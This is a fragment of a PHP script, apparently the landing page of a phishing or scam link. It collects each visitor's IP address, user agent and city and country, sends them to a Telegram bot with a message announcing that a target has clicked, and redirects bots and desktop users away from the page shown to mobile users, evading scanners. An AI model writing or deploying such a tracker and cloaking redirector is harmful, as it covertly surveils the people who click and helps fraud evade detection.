$chat_id,
'text' => $message,
'parse_mode' => 'HTML'
];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_exec($ch);
curl_close($ch);
}
// ====================
// MAIN LOGIC
// ====================
$ip = getIP();
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
// IP Geolocation
$country = 'Unknown';
$city = 'Unknown';
$geo_json = @file_get_contents("http://ip-api.com/json/$ip");
if ($geo_json) {
$geo_info = json_decode($geo_json, true);
$country = $geo_info['country'] ?? 'Unknown';
$city = $geo_info['city'] ?? 'Unknown';
}
// Telegram Message
$message = "📥 taipo 7wih DKHAL LIEN\n";
$message .= "🌍 Country: $country\n";
$message .= "🏙️ City: $city\n";
$message .= "🖥️ IP: $ip\n";
$message .= "📱 User-Agent: $userAgent";
// Send Notification
sendTelegram($telegram_token, $chat_id, $message);
// Redirection
if (isBot($userAgent)) {
header("Location: $redirect_bot_or_pc");
} elseif (isMobile($userAgent)) {
header("Location: $redirect_mobile");
} else {
header("Location: $redirect_bot_or_pc");
}
exit();
?>